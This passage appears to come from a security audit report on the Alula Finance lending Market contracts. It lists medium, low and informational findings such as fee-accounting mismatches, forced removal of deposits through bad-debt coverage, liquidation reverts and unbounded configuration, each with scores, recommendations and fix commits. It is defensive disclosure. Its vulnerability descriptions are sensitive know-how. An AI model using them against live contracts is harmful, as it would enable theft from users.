In the **Market** contract, the leveraged withdrawal flow implemented through `processors::process_withdraw_from_leveraged` assumes that repaying an amount equal to the current borrowed balance will fully close the debt position. However, the underlying repayment logic in `obligation::repay` applies `repay_fee_bps`, meaning that the provided repayment amount does not reduce the debt one to one. Instead, a portion of the provided amount is treated as a fee, and only the remaining net amount reduces the outstanding debt.

In the leveraged withdrawal flow, the swap logic computes the amount required to repay based on the nominal borrowed balance, without incorporating the effect of `repay_fee_bps`. If `repay_fee_bps` is configured to a value greater than zero, repaying the nominal borrowed amount will leave residual debt, even when the flow is expected to close the position entirely. This creates a mismatch between the leveraged withdrawal's economic assumptions and the actual debt reduction logic, potentially resulting in positions that remain partially open when users intend to exit fully.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:M (5.0)

Recommendation

It is recommended to incorporate `repay_fee_bps` into the leveraged withdrawal calculation so that the swap obtains a sufficient amount to cover both the intended debt reduction and the associated repay fee, ensuring that full position closure behaves consistently even when repay fees are enabled.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b7d772a99535bed8527198d35cbf7cb7dd73f671>

7.18 LEVERAGED WITHDRAWAL CAN CONSUME TOKENS ALREADY ACCOUNTED AS WITHDRAW FEES

// MEDIUM

Description

In the **Market** contract, the `processors::process_withdraw_from_leveraged` function withdraws a portion of the user position by calling `process_withdraw` with `plain_leverage_to_be_withdrawn` and then uses the gross withdrawn amount as the input budget for a subsequent swap. The withdrawal logic in `obligation::withdraw` computes withdraw fees, including the base withdraw fee and the scarcity component when applicable, and updates pool fee accounting accordingly, producing a net amount that would be available after fees. In the leveraged withdrawal flow, the swap step can still spend the gross `plain_leverage_to_be_withdrawn` amount rather than the net amount after those fees.

If withdraw or scarcity fees are greater than zero, this can cause the swap to consume tokens that have already been recorded as accumulated fees in accounting. As a result, fee sums can become underfunded relative to actual token balances, creating a mismatch between internal fee tracking and real liquidity and potentially causing fee distribution to fail or behave inconsistently.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:M (5.0)

Recommendation

It is recommended to derive the swap input amount from the net amount available after withdraw and scarcity fees are applied, ensuring that any accumulated fees remain fully backed by token balances and that fee distribution stays consistent.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b7d772a99535bed8527198d35cbf7cb7dd73f671>

7.19 SMALL COLLATERAL DEPOSITS CAN BE FORCIBLY REMOVED THROUGH BAD DEBT COVERAGE

// MEDIUM

Description

In the `Market` contract, the `processors::process_deposit` and `processors::process_add_collateral` functions allow users to deposit collateral without enforcing a minimum collateral value. This means a user can create or maintain collateral positions whose total value is below `min_collateral_value_cents`.

Later, in `obligation::require_no_liquidatable_collateral_exists`, collateral positions whose value is less than or equal to `min_collateral_value_cents` are treated as non liquidatable. If an obligation has a recorded borrow, any actor can call `Market::issue_cover_bad_debt`, which executes `processors::process_issue_cover_bad_debt`. During this flow, the user deposit positions are removed and effectively socialized to the pool suppliers.

Additionally, in `obligation::borrow`, the effective borrow amount is computed as `min(requested_amount, max_healthy_amount)`. If `max_healthy_amount` is zero, the resulting borrow amount becomes zero, but a borrow position may still be recorded. Because `obligation.require_borrow_exists` only checks for the presence of borrow entries and not for strictly positive debt, this can allow `issue_cover_bad_debt` to be triggered even when no meaningful debt was issued.

As a result, a user can deposit a small amount of collateral, never receive real debt, and still have their deposit forcibly removed through `issue_cover_bad_debt`.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:H/Y:N (5.0)

Recommendation

It is recommended to ensure that `Market::issue_cover_bad_debt` can only be executed when there is strictly positive outstanding debt and to avoid recording borrow positions in `obligation::borrow` when the effective borrow amount is zero. Additionally, deposits below `min_collateral_value_cents` should not be eligible for forced removal through the bad debt path.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/f6cd1ae152a5c197e7df8db966d82af60d315c32>

7.20 MISSING VALIDATION OF TRANSFER AMOUNTS BEFORE EXECUTION

// LOW

Description

In the **Market** contract, the `request::execute_transfers` function performs token transfers without validating that each computed transfer amount is strictly positive and safe to pass to the token contract:

 Copy Code

```
151 pub fn execute_transfers(self, e: &Env) -> Result<(), MError> {
152     // TODO: Will re-using token clients here improve the performance?
153
154     for (token_address, amount) in self.user_transfers {
155         let token_client = TokenClient::new(self.e, &token_address);
156         token_client.transfer(&self.user, self.e.current_contract_address(), &amount);
157     }
158
159     for (token_address, amount) in self.market_transfers {
160         let token_client = TokenClient::new(self.e, &token_address);
161         token_client.transfer(&self.e.current_contract_address(), &self.user, &amount);
162     }
163
164     if let Some(referrer_fee_transfers) = self.referrer_fee_transfers {
165         let referrer = self.referrer.ok_or_else(|| {
166             events::referrer_is_unexpectedly_missing(e);
167
168             MError::InternalError
169         })?;
170
171         for (token_address, amount) in referrer_fee_transfers {
172             let token_client = TokenClient::new(self.e, &token_address);
173             token_client.transfer(&self.e.current_contract_address(), &referrer, &amount);
174         }
175     }
176
177     Ok(())
178 }
```

While the individual `process_*` handlers may validate the request input amount, `request::execute_transfers` operates on derived amounts that can come from internal calculations, configuration or future code changes. If a zero or negative amount ever reaches this function, the token `transfer` call can revert, which can block the full operation and turn a configuration mistake or arithmetic edge case into a denial of service for otherwise valid flows. This is a defensive hardening gap because the transfer layer is the last common execution point that can enforce basic invariants independent of where the amounts were produced.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:M/Y:N (4.2)

Recommendation

It is recommended to add a strict validation layer inside `request::execute_transfers` that enforces `amount > 0` for every transfer entry and to return a clear error when an invalid amount is detected before calling the token contract.

Remediation Comment

RISK ACCEPTED: The Alula Finance team accepted the risk of this finding, and stated the following:

We believe this can be risk accepted. Returning a more explicit error, or even a generic `InternalError`, would not provide much additional information because the `transfer` function already returns its own error code when the amount is negative. If we were to introduce a check that rejects zero amounts, it could also cause otherwise valid flows to fail earlier due to a non positive amount error being raised before the transfer occurs. Additionally, we consider it unsafe to silently ignore cases where a transfer does not occur due to negative amounts, as that would likely indicate that an invariant somewhere else in the contract logic has already been broken.

7.21 CENTRALIZED MARKET UPGRADES BLOCKED BY MISALIGNED AUTHORIZATION

// LOW

Description

The **MarketManager** contract exposes the `upgrade_deployed_markets` function, which is intended to upgrade all deployed market instances in a single call. Internally, `upgrade_deployed_markets` iterates over the stored market list and invokes `upgrade` on each deployed market using a client for the **Market** contract:

 Copy Code

```
150 | pub fn upgrade_deployed_markets(e: Env, new_market_contract_wasm_hash: BytesN<32>) {
151 |     require_admin(&e);
152 |
153 |     if let Some(deployed_markets) = storage::get_markets(&e) {
154 |         for market_address in deployed_markets.keys() {
155 |             let market_client = market::Client::new(&e, &market_address);
156 |             market_client.upgrade(&new_market_contract_wasm_hash);
157 |         }
158 |     }
159 |
160 |     storage::set_market_contract_wasm_hash(&e, &new_market_contract_wasm_hash);
161 | }
```

However, in the **Market** contract, the `upgrade` function is protected by `require_auth` for the market admin address, not for the manager:

 Copy Code

```
671 | fn upgrade(e: Env, new_wasm_hash: BytesN<32>) {
672 |     require_admin(&e);
673 |
674 |     e.deployer().update_current_contract_wasm(new_wasm_hash);
675 | }
```

As a result, the admin of **MarketManager** cannot successfully execute `upgrade_deployed_markets` because the inner call to `Market.upgrade` requires authorization from the market admin, not from the manager. Since the manager is not recognized as an authorized upgrader by the **Market** contract, upgrades cannot be executed through the manager at all under the current authorization model, effectively breaking the centralized upgrade mechanism.

Although the code explicitly marks the upgrade related logic with comments indicating it is intended to be removed before production, these functions are currently present, callable, and fully in scope for this audit. As implemented, they introduce an upgrade path that can fail deterministically under realistic operational conditions.

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:H/I:N/D:N/Y:N (3.8)

Recommendation

It is recommended to align the authorization model so that the same designated authority that controls the manager is also explicitly authorized to perform upgrades on deployed markets, or to remove the upgrade related entrypoints entirely before production as indicated by the inline TODO comments.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/54f9292459ed8159510361cdf075b624196ac0dc>

7.22 UNBOUNDED BOOTSTRAP CONFIGURATION CAN DEGRADE INTEREST ACCRUAL AND BLOCK POOL OPERATIONS

// LOW

Description

In the **Market** contract, the bootstrap configuration is persisted into pool state without enforcing global bounds and is later consumed by interest accrual logic in the **Pool** library. The `accrue_interest` function iterates over all configured bootstrap periods on every execution. Since interest accrual is a prerequisite for multiple core pool operations, unsafe bootstrap configurations can cause execution cost to grow over time and eventually prevent normal pool interactions from completing.

The issue is rooted in the way bootstrap parameters are accepted and stored, and then repeatedly processed during interest accrual. Once such a configuration is in place, its impact propagates to all subsequent operations that rely on interest updates, with no mitigation available to regular users. The issue arises from the following conditions:

- **Unbounded number of bootstrap periods**

The `bootstrap_pool` function allows adding entries into the bootstrap schedule without enforcing a maximum number of periods. These entries are later iterated over by `accrue_interest`, causing execution cost to scale linearly with the number of configured periods.

- **Unrestricted bootstrap time window size**

No upper bound is enforced on the size of the time window between `start_period` and `end_period`, allowing bootstrap periods that remain active for long durations and are repeatedly processed by `accrue_interest`, increasing execution cost over time and contributing to denial of service conditions.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (3.4)

Recommendation

It is recommended to enforce explicit limits on the bootstrap configuration by capping the maximum number of bootstrap periods that can be stored per pool and by constraining acceptable bootstrap time windows to reasonable ranges, ensuring that interest accrual remains predictable in execution cost and operationally safe over time.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/fa540f1807d7013c644edb49fa1f65748d24f40c>

7.23 OVERLAPPING BOOTSTRAP PERIODS ALTER LIQUIDITY RELEASE BEHAVIOR

// LOW

Description

In the **Market** contract, the `bootstrap_pool` entrypoint calls `process_bootstrap_pool`, which only validates that `start_period` is not in the past and that `start_period < end_period`, but does not validate the new period against existing bootstrap periods:

 Copy Code

```
199 |     let current_timestamp = e.ledger().timestamp();
200 |     if start_period < current_timestamp || start_period >= end_period {
201 |         return Err(MCError::InvalidBootstrapPeriod);
202 |     }
203 |     let period = (start_period, end_period);
```

Then, in the **Pool** library, `Pool::bootstrap` stores each period in `bootstrap_periods` keyed by the exact `(start_period, end_period)` pair and only rejects exact duplicates, allowing **partially overlapping periods to coexist**:

 Copy Code

```
104 |     pub fn bootstrap(&mut self, amount: i128, period: (u64, u64)) -> Result<(), MCError> {
105 |         if self.bootstrap_periods.get(period).is_some() {
106 |             return Err(MCError::InvalidBootstrapPeriod);
107 |         }
108 |
109 |         self.bootstrap_periods.set(period, PoolBootstrapPeriod::new(amount));
110 |
111 |         Ok(())
112 |     }
```

Finally, during interest accrual, `Pool::accrue_interest` iterates over all entries in `bootstrap_periods`. For each period where the current timestamp falls within its window, the function computes the remaining amount based on the time left and releases the corresponding portion into `total_available`. When multiple bootstrap periods overlap in time, all active periods contribute in parallel during the same accrual call, effectively summing their release rates. This changes the effective liquidity release profile and can cause larger than expected jumps in available liquidity, making the system harder to reason about and monitor from an economic and operational standpoint.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (3.4)

Recommendation

It is recommended to enforce explicit rules around bootstrap period scheduling, such as preventing overlapping time windows.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/fa540f1807d7013c644edb49fa1f65748d24f40c>

7.24 HARDCODED EXTERNAL ROUTER ADDRESS REDUCES INTEGRATION SAFETY AND UPGRADE FLEXIBILITY

// LOW

Description

In the `Market` contract, the swap flow implemented through `Market::swap` and `processors::process_swap_exact_tokens` depends on a router defined by a constant `ROUTER_ADDRESS`:

 Copy Code

```
51 pub fn get_amount_out(  
52     e: &Env,  
53     token_in: &Address,  
54     token_out: &Address,  
55     amount_in: i128,  
56 ) -> Result<i128, MError> {  
57     let path = vec![&e, token_in.clone(), token_out.clone()];  
58     let router_client = router::Client::new(e, &Address::from_str(e, ROUTER_ADDRESS));  
59   
60     let amounts_out = router_client.router_get_amounts_out(&amount_in, &path);  
61     let Some(amount_out) = amounts_out.last() else {  
62         return Err(MError::DependencyContractError);  
63     };  
64   
65     Ok(amount_out)  
66 }
```

The mentioned router is an external contract that is not part of the market's internal accounting, storage, or lifecycle, yet its address is embedded as an immutable constant.

Unlike other constant addresses in the protocol that represent tightly coupled internal components or intrinsic system contracts whose behavior is assumed stable, the router is an integration point with an external liquidity protocol. Its implementation, deployment status, permissions, or configuration may change over time. If the router is upgraded, deprecated, paused or replaced, the market contract has no mechanism to update the integration target. This creates operational rigidity and increases the blast radius of any router level incident because swaps cannot be redirected without redeploying the market.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (3.4)

Recommendation

It is recommended to store the router address in contract storage and allow it to be updated through a controlled administrative mechanism, ensuring that the protocol can rotate or disable external swap integrations without redeploying the market contract.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/8858751e4d3d3a4139e69e0f1a57ec53e5b4b365>

7.25 LIQUIDATIONS CAN REVERT DUE TO NEGATIVE ACCRUED INTEREST ACCOUNTING

// LOW

Description

In the **Market** contract, the **liquidate** flow can revert when the computed accrued interest becomes negative due to a mismatch between the current debt computed from pool shares and the stored principal value tracked per position:

 Copy Code

```
1072         let d_tokens_to_burn =
1073             borrow_pool.compute_d_tokens_from_tokens_floor(liquidated_amount)?;
1074         let unpaid_interest = position_debt
1075             .checked_sub(borrow_position.originally_borrowed)
1076             .map_over_or_underflow()?;
1077         let new_originally_borrowed = if unpaid_interest.is_negative() {
1078             events::computed_interest_is_negative(
1079                 e,
1080                 &borrow_pool.pool_address,
1081                 borrow_position.d_tokens,
1082                 position_debt,
1083                 unpaid_interest,
1084             );
1085             return Err(MCError::InternalError);
1086         } else if liquidated_amount > unpaid_interest {
```

In **obligation::repay**, the code explicitly acknowledges that **unpaid_interest** can become negative and only emits an event, but the liquidation flow treats this as an internal failure and reverts. This creates a denial of service scenario where a position can be eligible for liquidation but cannot be liquidated, allowing unhealthy debt to remain open and potentially drift into bad debt if the collateral continues to move against the position.

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:M/I:N/D:M/Y:N (2.1)

Recommendation

It is recommended to make liquidation tolerant to the negative interest edge case by aligning the accounting model used in liquidation with the one accepted in repayment, ensuring that liquidation does not revert solely due to this internal mismatch and that unhealthy positions remain liquidatable under all valid state transitions.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/1fb38f77ec2dd66322dea359e84e99d56216f031>

7.26 SWAP ALLOWS IDENTICAL INPUT AND OUTPUT TOKENS

// LOW

Description

In the **Market** contract, the `Market::swap` function delegates to `processors::process_swap_exact_tokens`, which in turn constructs a swap path and calls the external router through `swap::get_amount_out` and `swap::swap_exact_tokens_for_tokens`. There is no validation ensuring that the input token and output token are different. As a result, a swap request where `token_in` equals `token_out` is accepted and forwarded to the router.

When both tokens are identical, the behavior depends entirely on the router implementation. The router may revert because the path is invalid, or it may execute a no economic value swap where the user effectively trades a token for itself while paying AMM fees or suffering slippage. Although this does not create a direct loss of funds for the protocol, it introduces inconsistent behavior and unnecessary reliance on external router validation instead of enforcing basic invariants at the market level.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:L/I:N/D:N/Y:L (2.1)

Recommendation

It is recommended to explicitly require that the input and output token addresses are different before constructing the swap path, and to revert execution if both tokens are identical.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/2f2c48d64bf50b2b9c389a949ae6bd318bcd3856>

7.27 ROUNDING EFFECTS CAN PRODUCE ZERO TOKEN SIDE EFFECTS DESPITE POSITIVE INPUT AMOUNTS

// LOW

Description

Several entry points in the **Market** contract rely on integer division with floor or ceil rounding when converting between underlying tokens and internal accounting tokens such as `j_tokens` and `d_tokens`. Although input validation ensures that the provided amount is non negative and typically greater than zero, rounding behavior in conversion functions can cause derived outputs to be zero in certain edge cases. This can lead to inconsistencies between token transfers and internal accounting updates or to partial economic effects that differ from user expectations.

The issue arises from the following conditions:

- **Deposit may mint zero `j_tokens` while transferring tokens**

In `processors::process_deposit`, tokens are transferred from the user before calling `obligation::deposit`. Inside `Obligation::deposit`, `j_tokens` are computed using a floor based conversion. For very small deposits relative to pool size, this can result in `j_tokens_to_issue = 0` while the underlying tokens have already been transferred to the contract. This may leave user funds without a corresponding position increase.

- **Repay may burn zero `d_tokens` in partial repayments**

In `Obligation::repay`, when the repayment is not total, `d_tokens` to burn are computed using a floor conversion. For small repayment amounts, this can result in `d_tokens_to_burn = 0` while `total_borrowed` is reduced. This creates a temporary mismatch between `d_token` supply and debt accounting and may affect internal ratios.

- **Other conversion paths rely on asymmetric rounding**

Borrow and withdraw flows use ceil based conversions when minting or burning position tokens, which generally avoids zero output for positive input. However, the asymmetric use of floor in some paths and ceil in others introduces edge cases where small values behave inconsistently across entry points.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:L/Y:N (2.1)

Recommendation

It is recommended to enforce minimum effective amounts before executing token transfers or accounting updates so that any operation that would result in zero internal token change is rejected, ensuring consistent economic behavior and preventing silent rounding losses.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/dee7c67f6b8ff9c4cae423297032cf3be9bb0080>

7.28 ZERO AMOUNT OPERATIONS TRIGGER UNNECESSARY STATE CHANGES

// INFORMATIONAL

Description

The **Market** contract allows multiple functions to accept an amount of zero and continue through their normal execution paths. While these operations do not result in direct value transfer or share minting, they can still trigger interest accrual, obligation creation or updates, storage writes and event emission. This behavior introduces unnecessary state churn, enables low cost griefing through repeated no op calls, and complicates offchain indexing and monitoring by generating misleading or noisy events.

This pattern is consistently present across several value inflow and accounting related functions in the **Market** contract, indicating that zero amount handling is not centrally enforced and instead relies on implicit behavior within each flow.

Affected functions include:

- `contract::donate`
- `processors::process_deposit`
- `processors::process_deposit_with_leverage`
- `processors::process_withdraw`
- `processors::process_withdraw_from_leveraged`
- `processors::process_add_collateral`
- `processors::process_remove_collateral`
- `processors::process_borrow`
- `processors::process_repay`
- `processors::process_liquidate`
- `processors::process_flash_loan`
- `processors::process_swap_exact_tokens`
- `processors::process_bootstrap_pool`

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (1.7)

Recommendation

It is recommended to add an explicit early return for zero amount inputs in all affected functions before any interest accrual, state mutation, obligation handling or event emission occurs, ensuring that zero amount calls behave as true no ops.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/69c986808d2e5468874f149e671e76d323c657ea>

7.29 UNBOUNDED SCARCITY FEE CONFIGURATION CAN BLOCK WITHDRAWALS

// INFORMATIONAL

Description

In the **Market** contract, `PoolFeeConfig::validate` does not enforce any upper bound on `withdraw_scarcity_fee_sc_bps`, allowing arbitrary values to be configured. This value is later used during withdrawals when scarcity conditions apply. In the **Obligation** library, `compute_withdraw_scarcity_fee_bps` derives an additional fee from this parameter and adds it to the base withdrawal fee.

If `withdraw_scarcity_fee_sc_bps` is set too high, the resulting total withdrawal fee can exceed safe limits and cause arithmetic failures when fees are applied, leading to transaction reverts. When scarcity conditions are met, this can effectively prevent withdrawals until the configuration is updated by an administrator.

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:M/I:N/D:N/Y:N (1.7)

Recommendation

It is recommended to enforce an upper bound on `withdraw_scarcity_fee_sc_bps` and ensure that the combined withdrawal fee remains within valid basis point limits so that withdrawals cannot be blocked by misconfiguration.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/06a7aa380c237058989e43ad128aa38217f429cb>

7.30 SIMULATION PATH MAY DIVERGE FROM ACTUAL WITHDRAWAL BEHAVIOR

// INFORMATIONAL

Description

In the Market contract, the function `processors::process_simulate_withdraw` does not mirror the execution semantics of `processors::process_withdraw`. Because the simulation path skips validations and state updates that are mandatory in the real withdrawal flow, the returned result can differ materially from what would actually be executed on chain, especially in edge cases involving fees, scarcity conditions or invalid inputs:

Missing amount validation

`processors::process_simulate_withdraw` does not enforce a non negative amount check, while `processors::process_withdraw` explicitly validates that the requested amount is non negative before proceeding. This allows the simulation to accept inputs that would be rejected in the real execution path, producing outputs that are not actionable and can mislead callers relying on the simulation for correctness.

Missing interest accrual before computation

The simulation path does not accrue interest on the obligation and pool before computing the withdrawal. In contrast, the real withdrawal flow updates accrued interest, which affects `total_borrowed`, `take_rate_fees_sum`, utilization ratios, and derived exchange rates. These values directly influence withdrawal limits, scarcity mode activation, cooldown enforcement and fee calculation. As a result, the simulation can return stale or overly optimistic values compared to the actual withdrawal outcome.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (1.7)

Recommendation

It is recommended to align the simulation path with the real withdrawal path by enforcing the same non negative amount validation and by applying an in memory interest accrual step before computing the withdrawal result, ensuring that simulated outputs accurately reflect the constraints, fees, and limits that would apply during actual execution.

Remediation Comment

PARTIALLY SOLVED: The Alula Finance team addressed the original issue by updating the simulation logic so that it mirrors the actual withdrawal behavior. However, the current implementation introduces a call to `obligation.accrue_interest(e)?` within `process_simulate_withdraw`, which may result in state modifications during the simulation path.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/8c230a51bf67ccb1eef236d58cb6a31729489257>

7.31 STATE CHANGING OPERATIONS EXECUTE WITHOUT EMITTING EVENTS

// INFORMATIONAL

Description

Several state changing operations in the Market contract modify protocol configuration or liquidity without emitting any corresponding event. This reduces transparency and weakens off chain observability for monitoring systems, indexers, and governance tracking tools that rely on events to detect meaningful changes in protocol state.

Affected functions include:

- `update_market`
- `update_market_status`
- `donate`

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (1.7)

Recommendation

It is recommended to emit explicit events for all administrative and liquidity affecting state transitions so that configuration changes and balance affecting actions can be reliably tracked off chain.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/ebbef53b4d95034a039aa8139885da8646dc8a8>

7.32 UNUSED FUNCTIONS

// INFORMATIONAL

Description

A review of the codebase identified internal helper functions that appear to have no call sites within their respective contracts. While unused code is not directly exploitable by itself, it increases maintenance overhead, makes audits harder, and can lead to confusion about intended behavior or incomplete refactors. The following instances were identified:

AggregatedOracle:

- `swap::get_price`
- `swap::get_reserves`

Market:

- `events::pool_total_shares_smaller_than_total_tokens`
- `events::pool_contains_inconsistent_state`
- `events::dbg`
- `misc::require_deployer`
- `pool::operation_fees_sum`

MarketManager:

- `contract::require_nonnegative`

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to remove these unused functions or to add clear references and tests that demonstrate their intended usage, ensuring that any intentionally retained debug or future-facing helpers are clearly justified and cannot be accidentally relied on as part of the protocol behavior.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b959775ee62ab5070479753d8c73de1f214fb956>

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.